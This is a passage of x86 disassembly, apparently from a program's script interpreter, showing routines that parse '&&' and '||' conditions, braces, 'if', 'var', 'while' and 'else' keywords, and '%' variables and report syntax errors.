cmp dword [ebp - 0x24], 2
jne 0x4874a4
push 0x50cbd8
push 0xd55
call fcn.0041f178
jmp 0x4874b3
push 0x50cbd8
push 0xd4f
call fcn.0041f178
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
xor ecx, ecx
mov dword [ebp - 0x24], ecx
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x94], eax
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
cmp byte [ecx], 0x26
jne 0x487525
mov eax, dword [ebp - 8]
mov edx, dword [eax]
cmp byte [edx + 1], 0x26
jne 0x487525
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax + 2], 0
jne 0x487525
cmp dword [ebp - 0x90], 0
jne 0x4874ff
mov ebx, 1
jmp 0x487583
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov byte [edx], 0x69
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
mov byte [eax + 1], 0x66
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
mov byte [ecx + 2], 0
mov dword [ebp - 0x94], 1
jmp 0x487583
mov eax, dword [ebp - 8]
mov edx, dword [eax]
cmp byte [edx], 0x7c
jne 0x487583
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax + 1], 0x7c
jne 0x487583
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
cmp byte [ecx + 2], 0
jne 0x487583
cmp dword [ebp - 0x90], 1
jne 0x487555
mov ebx, 2
jmp 0x487583
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov byte [edx], 0x69
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
mov byte [eax + 1], 0x66
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
mov byte [ecx + 2], 0
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x94], 1
test ebx, ebx
je 0x4876df
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00498fb0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x48768f
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax], 0x28
jne 0x487600
xor edx, edx
mov dword [edi], edx
cmp dword [ebp - 8], 0
je 0x487685
mov ecx, dword [ebp - 8]
mov ebx, dword [ecx]
cmp byte [ebx], 0x7b
jne 0x4875d1
cmp byte [ebx + 1], 0
je 0x487685
mov eax, dword [edi]
push eax
push ebx
call fcn.004b7968
mov dword [edi], eax
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp - 8]
push ecx
call fcn.00498fb0
mov dword [ebp - 8], eax
cmp dword [edi], 0
je 0x487685
cmp dword [ebp - 8], 0
jne 0x4875bd
jmp 0x487685
cmp dword [ebp - 8], 0
je 0x487685
mov eax, dword [ebp - 8]
mov edx, dword [eax]
cmp byte [edx], 0x28
je 0x4875af
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax], 0x7b
jne 0x487625
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
cmp byte [ecx + 1], 0
je 0x487685
cmp ebx, 1
jne 0x48764a
mov eax, dword [ebp - 8]
mov edx, dword [eax]
cmp byte [edx], 0x7c
jne 0x48764a
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax + 1], 0x7c
jne 0x48764a
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
cmp byte [ecx + 2], 0
je 0x487685
cmp ebx, 2
jne 0x48766f
mov eax, dword [ebp - 8]
mov edx, dword [eax]
cmp byte [edx], 0x26
jne 0x48766f
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax + 1], 0x26
jne 0x48766f
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
cmp byte [ecx + 2], 0
je 0x487685
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00498fb0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x487606
cmp dword [ebp - 8], 0
jne 0x4874c2
cmp dword [ebp - 0x90], 0
je 0x4876df
cmp dword [ebp - 0x2c], 0
je 0x4876af
push 0x50cbd8
push 0xd60
call fcn.0041f178
jmp 0x4876d5
cmp dword [ebp - 0x24], 2
jne 0x4876c6
push 0x50cbd8
push 0xd56
call fcn.0041f178
jmp 0x4876d5
push 0x50cbd8
push 0xd50
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
cmp dword [ebp - 0x90], 0
jne 0x4878e2
cmp dword [ebp - 8], 0
je 0x48788e
mov eax, dword [ebp - 8]
mov edx, dword [eax]
cmp byte [edx], 0x7b
jne 0x48788e
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax + 1], 0
jne 0x48788e
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004825fc
mov ebx, eax
test ebx, ebx
jne 0x48776d
cmp dword [ebp - 0x2c], 0
je 0x48773d
push 0x50cbd8
push 0xd61
call fcn.0041f178
jmp 0x487763
cmp dword [ebp - 0x24], 2
jne 0x487754
push 0x50cbd8
push 0xd57
call fcn.0041f178
jmp 0x487763
push 0x50cbd8
push 0xd51
call fcn.0041f178
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
mov edx, dword [ebp + 0x20]
push edx
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x10]
push edx
push ebx
call fcn.004826a4
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x4877d3
cmp dword [ebp - 0x2c], 0
je 0x4877a3
push 0x50cbd8
push 0xd62
call fcn.0041f178
jmp 0x4877c9
cmp dword [ebp - 0x24], 2
jne 0x4877ba
push 0x50cbd8
push 0xd58
call fcn.0041f178
jmp 0x4877c9
push 0x50cbd8
push 0xd52
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
cmp dword [ebp - 0xc], 0
je 0x48b1f3
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x18], 0
jne 0x48b1f3
cmp dword [ebp - 0xc], 0
je 0x48b1f3
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x18], 0
jne 0x48b1f3
mov ecx, dword [ebp - 0xc]
mov ebx, dword [ecx]
jmp 0x487809
inc ebx
cmp byte [ebx], 0x20
je 0x487808
cmp byte [ebx], 0
jne 0x48781e
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x30]
mov dword [ebp - 0xc], edx
jmp 0x4877ea
cmp dword [ebp - 0x14], 0
je 0x48782d
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x48786d
cmp dword [ebp - 0x10], 0
je 0x487847
mov edx, dword [ebp - 0x10]
push edx
call fcn.00499164
xor ecx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0xc], 0
je 0x487856
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x30]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
je 0x48b1f3
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0x18], 0
jne 0x48b1f3
cmp dword [ebp - 0x2c], 0
je 0x487882
xor eax, eax
mov dword [ebp - 0x2c], eax
xor edx, edx
mov dword [ebp - 0x24], edx
jmp 0x486847
mov dword [ebp - 0x24], 2
jmp 0x486847
cmp dword [ebp - 0x2c], 0
je 0x4878a0
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x4878a7
mov dword [ebp - 0x24], 2
mov esi, dword [ebp - 8]
test esi, esi
je 0x48b138
mov eax, dword [esi]
cmp byte [eax + 1], 0
jne 0x4878d6
mov edx, dword [esi]
cmp byte [edx], 0x7b
je 0x48b138
mov ecx, dword [esi]
cmp byte [ecx], 0x7d
jne 0x4878d6
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x48b138
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x4878b2
jmp 0x48b138
cmp dword [ebp - 0x94], 0
jne 0x487a44
cmp dword [ebp - 0x2c], 0
je 0x487a44
xor edx, edx
mov dword [ebp - 0x2c], edx
xor ecx, ecx
mov dword [edi], ecx
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x487929
push 0
mov eax, dword [edi]
push eax
mov edx, dword [esi]
push edx
call fcn.004b7744
mov dword [edi], eax
cmp dword [edi], 0
jg 0x487922
mov esi, dword [ebp - 0xc]
jmp 0x487929
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x487909
test esi, esi
jne 0x487958
cmp dword [ebp - 0xc], 0
je 0x487958
mov eax, dword [ebp - 0xc]
mov esi, dword [eax + 0x30]
test esi, esi
je 0x487958
push 0
mov eax, dword [edi]
push eax
mov edx, dword [esi]
push edx
call fcn.004b7744
mov dword [edi], eax
cmp dword [edi], 0
jle 0x487958
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x48793d
test esi, esi
jne 0x487975
push 0x50cbd8
push 0xd62
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov dword [0x51309c], esi
xor eax, eax
mov dword [edi], eax
cmp dword [ebp - 0x10], 0
je 0x4879b0
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x4879b0
push 6
push 0x4f8b2a
mov eax, dword [esi]
push eax
call fcn.00401540
add esp, 0xc
test eax, eax
jne 0x4879a9
inc dword [edi]
cmp esi, dword [ebp - 0x14]
je 0x4879b0
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x48798c
cmp dword [ebp - 0x14], 0
je 0x4879c5
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x20]
dec ecx
mov dword [0x5130a0], ecx
jmp 0x4879d1
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x20]
mov dword [0x5130a0], edx
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x4879fd
mov eax, dword [esi + 0x28]
cmp eax, dword [0x51309c]
jne 0x4879f6
mov edx, dword [esi + 0x20]
cmp edx, dword [0x5130a0]
jne 0x4879f6
mov ecx, dword [esi + 0x2c]
cmp ecx, dword [ebp - 0xc]
je 0x4879fd
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x4879d8
test esi, esi
jne 0x487a44
push 0
push 0
push 0x4f8b32
mov eax, dword [ebp - 0x28]
push eax
call fcn.00498e1c
mov esi, eax
test esi, esi
je 0x487a44
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0xc]
mov dword [eax + 0x2c], edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [0x5130a0]
mov dword [ecx + 0x20], eax
mov edx, dword [ebp - 0x28]
mov ecx, dword [0x51309c]
mov dword [edx + 0x28], ecx
mov eax, dword [ebp - 0x28]
mov edx, dword [edi]
mov dword [eax + 4], edx
cmp dword [ebp - 0x28], 0
je 0x487b2d
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x487b2d
mov eax, dword [esi + 0x28]
cmp eax, dword [ebp - 0xc]
jne 0x487b10
cmp dword [ebp - 0x14], 0
je 0x487ac6
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x20]
cmp ecx, dword [esi + 0x20]
jne 0x487b10
push 0x4f8b39
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x487b10
mov ecx, dword [esi + 0x2c]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0x10]
push eax
call fcn.00499164
xor edx, edx
mov dword [ebp - 0x10], edx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
push esi
mov eax, dword [ebp - 0x28]
push eax
call fcn.004990f0
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
mov dword [edx + 8], 1
jmp 0x486847
cmp dword [ebp - 0xc], 0
je 0x487b10
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + 0x20]
cmp eax, dword [esi + 0x20]
jne 0x487b10
push 0x4f8b3c
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x487b10
mov eax, dword [esi + 0x2c]
mov dword [ebp - 0xc], eax
push esi
mov edx, dword [ebp - 0x28]
push edx
call fcn.004990f0
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 8], 2
jmp 0x486847
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x487a59
jmp 0x487b2d
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00498fb0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x487b48
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
cmp byte [eax], 0x7b
jne 0x487b48
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
cmp byte [ecx + 1], 0
je 0x487b1d
cmp dword [ebp - 8], 0
je 0x48b138
mov eax, dword [ebp - 8]
mov ebx, dword [eax]
cmp byte [ebx], 0x2f
jne 0x487b63
inc ebx
cmp byte [ebx], 0x2f
jne 0x487b63
inc ebx
cmp byte [ebx], 0x21
jne 0x487b70
inc ebx
mov dword [ebp - 0x50], 1
cmp byte [ebx], 0x2e
jne 0x487b7b
inc ebx
xor eax, eax
mov dword [ebp + 0x2c], eax
cmp byte [ebx], 0
je 0x48b138
cmp byte [ebx], 0x76
je 0x487b92
cmp byte [ebx], 0x56
jne 0x487de0
cmp byte [ebx + 1], 0x61
je 0x487ba2
cmp byte [ebx + 1], 0x41
jne 0x487de0
cmp byte [ebx + 2], 0x72
je 0x487bb2
cmp byte [ebx + 2], 0x52
jne 0x487de0
cmp byte [ebx + 3], 0
jne 0x487de0
mov edx, dword [ebp + 0x20]
mov byte [edx], 0
mov ecx, dword [ebp - 8]
mov esi, dword [ecx + 0x30]
test esi, esi
je 0x487bfb
mov eax, dword [ebp + 0x20]
cmp byte [eax], 0
je 0x487be5
push 0x4f8b3f
mov edx, dword [ebp + 0x20]
push edx
call fcn.0040123c
add esp, 8
mov ecx, dword [esi]
push ecx
mov eax, dword [ebp + 0x20]
push eax
call fcn.0040123c
add esp, 8
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x487bcc
xor edx, edx
mov dword [ebp - 4], edx
xor ecx, ecx
mov dword [ebp - 0x5c], ecx
mov ebx, dword [ebp + 0x20]
jmp 0x487d97
inc ebx
cmp byte [ebx], 0x20
je 0x487c0f
cmp byte [ebx], 0
je 0x487da0
xor esi, esi
cmp byte [ebx], 0x25
jne 0x487ce6
cmp byte [ebx + 1], 0
je 0x487ce6
mov dword [ebp - 0x5c], ebx
add ebx, 2
jmp 0x487c40
cmp al, 0x2c
je 0x487c4a
inc ebx
mov al, byte [ebx]
test al, al
je 0x487c4a
cmp al, 0x20
jne 0x487c3b
cmp byte [ebx], 0x20
jne 0x487ce6
jmp 0x487c56
inc ebx
cmp byte [ebx], 0x20
je 0x487c55
cmp byte [ebx], 0x3d
jne 0x487ce6
cmp byte [ebx + 1], 0x20
jne 0x487ce6
mov byte [ebx], 0x20
inc ebx
cmp byte [ebx], 0x20
jne 0x487ce6
inc ebx
jmp 0x487ce0
cmp al, 0x2c
je 0x487ce6
cmp byte [ebx], 0x24
jne 0x487cdf
cmp byte [ebx + 1], 0
je 0x487cdf
xor edx, edx
mov dword [edi], edx
inc ebx
jmp 0x487cd0
mov al, byte [ebx]
cmp al, 0x20
je 0x487cd5
cmp al, 0x2c
je 0x487cd5
cmp al, 0x28
jne 0x487cca
inc ebx
mov dword [edi], 1
jmp 0x487cb8
cmp dword [edi], 0
jne 0x487cd5
cmp byte [ebx], 0
jne 0x487c8c
mov al, byte [ebx]
test al, al
je 0x487ce6
cmp al, 0x2c
je 0x487ce6
inc ebx
mov al, byte [ebx]
test al, al
jne 0x487c76
test esi, esi
je 0x487d03
push 0x50cbd8
push 0xd5a
call fcn.0041f178
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
push 0x2c
push ebx
call fcn.00401278
add esp, 8
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
je 0x487d1d
mov ecx, dword [ebp - 0x60]
mov byte [ecx], 0
push 0x4f8b42
mov eax, dword [ebp + 0x1c]
push eax
call sub.USER32.dll_wsprintfA
add esp, 8
cmp dword [ebp - 0x5c], 0
je 0x487d44
mov edx, dword [ebp - 0x5c]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
call fcn.0040123c
add esp, 8
push 0
push 0
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 4]
push edx
call fcn.00498c08
mov esi, eax
test esi, esi
jne 0x487d7e
mov eax, dword [ebp - 4]
push eax
call fcn.00499164
push 2
push 0x4f8b4b
push 0
push 0
call fcn.0045bf34
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x34]
mov edx, dword [ebp - 0x30]
mov dword [eax + 0x20], edx
cmp dword [ebp - 0x60], 0
je 0x487da0
mov ebx, dword [ebp - 0x60]
inc ebx
cmp byte [ebx], 0
jne 0x487c10
cmp dword [ebp - 4], 0
je 0x48b138
cmp dword [ebp - 0x14], 0
je 0x487dd2
mov eax, dword [ebp - 4]
push eax
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x30]
push ecx
mov eax, dword [ebp - 0x10]
push eax
call fcn.00499070
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 0x14], ecx
jmp 0x486847
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
jmp 0x486847
cmp byte [ebx], 0x77
je 0x487dea
cmp byte [ebx], 0x57
jne 0x487e05
push 0x4f8b58
push ebx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x487e05
mov dword [ebp - 0x2c], 1
jmp 0x487e2d
cmp byte [ebx], 0x69
je 0x487e13
cmp byte [ebx], 0x49
jne 0x487f4c
cmp byte [ebx + 1], 0x66
je 0x487e23
cmp byte [ebx + 1], 0x46
jne 0x487f42
cmp byte [ebx + 2], 0
jne 0x487f42
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp - 8]
push ecx
call fcn.00498fb0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x487e8a
cmp dword [ebp - 0x2c], 0
je 0x487e5a
push 0x50cbd8
push 0xd5f
call fcn.0041f178
jmp 0x487e80
cmp dword [ebp - 0x24], 2
jne 0x487e71
push 0x50cbd8
push 0xd55
call fcn.0041f178
jmp 0x487e80
push 0x50cbd8
push 0xd4f
call fcn.0041f178
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
mov edx, dword [ebp + 0x20]
mov byte [edx], 0
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00482830
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 0x20]
cmp byte [ecx], 0
jne 0x487efe
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
xor edx, edx
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x2c], 0
je 0x487ece
push 0x50cbd8
push 0xd5c
call fcn.0041f178
jmp 0x487ef4
cmp dword [ebp - 0x24], 2
jne 0x487ee5
push 0x50cbd8
push 0xd53
call fcn.0041f178
jmp 0x487ef4
push 0x50cbd8
push 0xd4c
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov eax, dword [ebp + 0x20]
push eax
call fcn.004b6c48
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x487f2a
push 2
push 0x4f8b5f
push 0
push 0
call fcn.0045bf34
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
cmp dword [ebp - 0x20], 0
jne 0x487f36
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], 1
jmp 0x48805c
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x48805c
cmp byte [ebx], 0x65
je 0x487f5a
cmp byte [ebx], 0x45
jne 0x488052
cmp dword [ebp - 0x2c], 0
je 0x487f6f
xor edx, edx
mov dword [ebp - 0x24], edx
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
jmp 0x48805c
cmp dword [ebp - 0x24], 2
jne 0x487fdd
push 0x4f8b68
push ebx
call fcn.004014a8
add esp, 8
test eax, eax
je 0x487e2d
push 0x4f8b70
push ebx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x487fd6
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00498fb0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x487fcc
push 0x50cbd8
push 0xd55
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x487020
xor edx, edx
mov dword [ebp - 0x24], edx
jmp 0x48805c
push 0x4f8b76
push ebx
call fcn.004014a8
add esp, 8
test eax, eax
je 0x488001
push 0x4f8b7e
push ebx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48804b
mov ecx, dword [ebp - 0xc]
push ecx
mov eax, dword [ebp - 0x14]
push eax
call fcn.004825fc
mov ebx, eax
test ebx, ebx
je 0x48802a
mov eax, dword [ebp + 0x20]
push eax
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push ebx
call fcn.004826a4
cmp dword [ebp - 0xc], 0
je 0x48b1f3
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x18], 0
jne 0x48b1f3
xor ecx, ecx
mov dword [ebp - 0x24], ecx
jmp 0x48b138
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x48805c
xor edx, edx
mov dword [ebp - 0x24], edx
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp + 0x44]
push eax
mov edx, dword [ebp - 0x30]
push edx
mov ecx, dword [ebp + 0x38]
push ecx
mov eax, dword [ebp + 0x34]
push eax
mov edx, dword [ebp + 0x30]
push edx
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x6c]
push eax
mov edx, dword [ebp + 0x28]
push edx
lea ecx, [ebp - 0x20]
push ecx
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x10]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
lea eax, [ebp - 0x64]
push eax
lea edx, [ebp - 0x4c]
push edx
mov ecx, dword [ebp - 0x3c]
push ecx
mov eax, dword [ebp - 0x78]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp + 0x24]
push eax
lea edx, [ebp - 8]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0045c760
mov dword [edi], eax
cmp dword [edi], 0xffffffff
je 0x487b2d
mov eax, dword [edi]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x48b1f3
cmp dword [ebp - 0x20], 0
jne 0x487020
mov edx, dword [ebp + 0x24]
mov byte [edx], 0
mov esi, dword [ebp - 8]
test esi, esi
je 0x4881c5
cmp dword [esi + 0x18], 1
jne 0x4881ba
cmp dword [esi + 8], 0
jne 0x4881ba
mov eax, dword [ebp + 0x24]
push eax
call fcn.00401318
pop ecx
mov ebx, eax
mov eax, dword [esi]
push eax
call fcn.00401318
pop ecx
add ebx, eax
cmp ebx, 0x3b5
jbe 0x48817b
push 0x20
mov edx, dword [ebp + 0x24]
push edx
call fcn.00401278
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x488134
mov byte [ebx], 0
mov eax, dword [ebp + 0x24]
push eax
call fcn.00401318
pop ecx
cmp eax, 0xa
jbe 0x488153
mov edx, dword [ebp + 0x24]
add edx, 0xa
mov edi, edx
mov esi, 0x4f8b84
mov eax, edi
movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0x24]
push edx
push 0
push 0xd4a
call fcn.0041f178
push eax
push 0x50cbd8
call sub.USER32.dll_wsprintfA
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov eax, dword [ebp + 0x24]
cmp byte [eax], 0
je 0x4881ab
cmp dword [esi + 0x1c], 0
je 0x48819a
push 0x4f8b89
mov edx, dword [ebp + 0x24]
push edx
call fcn.0040123c
add esp, 8
mov ecx, dword [esi]
push ecx
mov eax, dword [ebp + 0x24]
push eax
call fcn.0040123c
add esp, 8
jmp 0x4881ba
mov edx, dword [esi]
push edx
mov ecx, dword [ebp + 0x24]
push ecx
call fcn.0040123c
add esp, 8
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x4880ea
mov ebx, dword [ebp + 0x24]
cmp byte [ebx], 0x2f
jne 0x4881d4
inc ebx
cmp byte [ebx], 0x2f
jne 0x4881d4
inc ebx
cmp byte [ebx], 0x21
jne 0x4881e1
inc ebx
mov dword [ebp - 0x50], 1
cmp byte [ebx], 0x2e
jne 0x4881ec
inc ebx
xor eax, eax
mov dword [ebp + 0x2c], eax
cmp byte [ebx], 0
je 0x48b138
cmp dword [ebp + 0x18], 0x64
jle 0x488205
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x24]
push eax
call fcn.00419870
mov esi, eax
cmp dword [ebp - 0x50], 0
je 0x48821c
xor esi, esi
test esi, esi
je 0x4885bd
cmp esi, dword [ebp + 0x28]
je 0x4885bd
mov eax, dword [esi + 0x24]
push eax
call fcn.004cbf80
test eax, eax
je 0x488243
mov edx, dword [esi + 0x24]
mov dword [0x4f1b10], edx
mov ebx, dword [esi]
jmp 0x488248
inc ebx
cmp byte [ebx], 0x20
je 0x488247
cmp byte [ebx], 0
je 0x48b138
cmp byte [ebx], 0x61
je 0x488260
cmp byte [ebx], 0x41
jne 0x4882ac
push 6
push 0x4f8b8c
push ebx
call fcn.00401540
add esp, 0xc
test eax, eax
jne 0x4882ac
add ebx, 6
jmp 0x48827a
inc ebx
cmp byte [ebx], 0x20
je 0x488279
cmp byte [ebx], 0
je 0x4882a3
push 3
push 0x4f8b94
push ebx
call fcn.00401540
add esp, 0xc
test eax, eax
jne 0x4882a3
add ebx, 3
jmp 0x48829e
inc ebx
cmp byte [ebx], 0x20
je 0x48829d
cmp byte [ebx], 0
je 0x48b138
push 0x20
push ebx
call fcn.00401278
add esp, 8
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x48b138
jmp 0x4882c9
inc dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
cmp byte [eax], 0x20
je 0x4882c6
mov edx, dword [ebp - 0x5c]
cmp byte [edx], 0
je 0x48b138
push 0x20
mov ecx, dword [ebp + 0x24]
push ecx
call fcn.00401278
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x4882f9
jmp 0x4882f4
inc ebx
cmp byte [ebx], 0x20
je 0x4882f3
test ebx, ebx
je 0x488346
cmp byte [ebx], 0
je 0x488346
push ebx
call fcn.00401318
pop ecx
add eax, 0xa
push eax
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
je 0x48834b
mov eax, dword [ebp - 0x80]
push esi
push edi
mov esi, eax
mov edi, ebx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
jmp 0x48834b
xor eax, eax
mov dword [ebp - 0x80], eax
cmp dword [ebp + 0x14], 0
jne 0x488359
mov dword [edi], 1
jmp 0x48835e
mov edx, dword [ebp + 0x14]
mov dword [edi], edx
mov ecx, dword [ebp - 0x5c]
cmp byte [ecx], 0x7b
jne 0x488481
inc dword [ebp - 0x5c]
jmp 0x488372
inc dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
cmp byte [eax], 0x20
je 0x48836f
mov edx, dword [ebp - 0x5c]
cmp byte [edx], 0
je 0x488422
push 0
push 0
mov ecx, dword [ebp - 0x5c]
push ecx
push 0
call fcn.00498c08
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4883c8
cmp dword [ebp - 0x80], 0
je 0x4883ae
mov eax, dword [ebp - 0x80]
push eax
call fcn.0040c454
pop ecx
push 2
push 0x4f8b99
push 0
push 0
call fcn.0045bf34
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
mov ecx, dword [esi + 0x30]
mov eax, dword [ebp - 4]
mov dword [eax + 0x30], ecx
push 0
push 0
push 1
push 0
mov edx, dword [ebp + 0x34]
push edx
push 0
mov ecx, dword [ebp + 0x2c]
push ecx
push esi
mov eax, dword [ebp + 0x24]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp + 0x18]
inc eax
push eax
mov edx, dword [edi]
push edx
mov ecx, dword [ebp - 0x80]
push ecx
mov eax, dword [ebp - 4]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004865c8
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 4]
xor eax, eax
mov dword [ecx + 0x30], eax
mov edx, dword [ebp - 4]
push edx
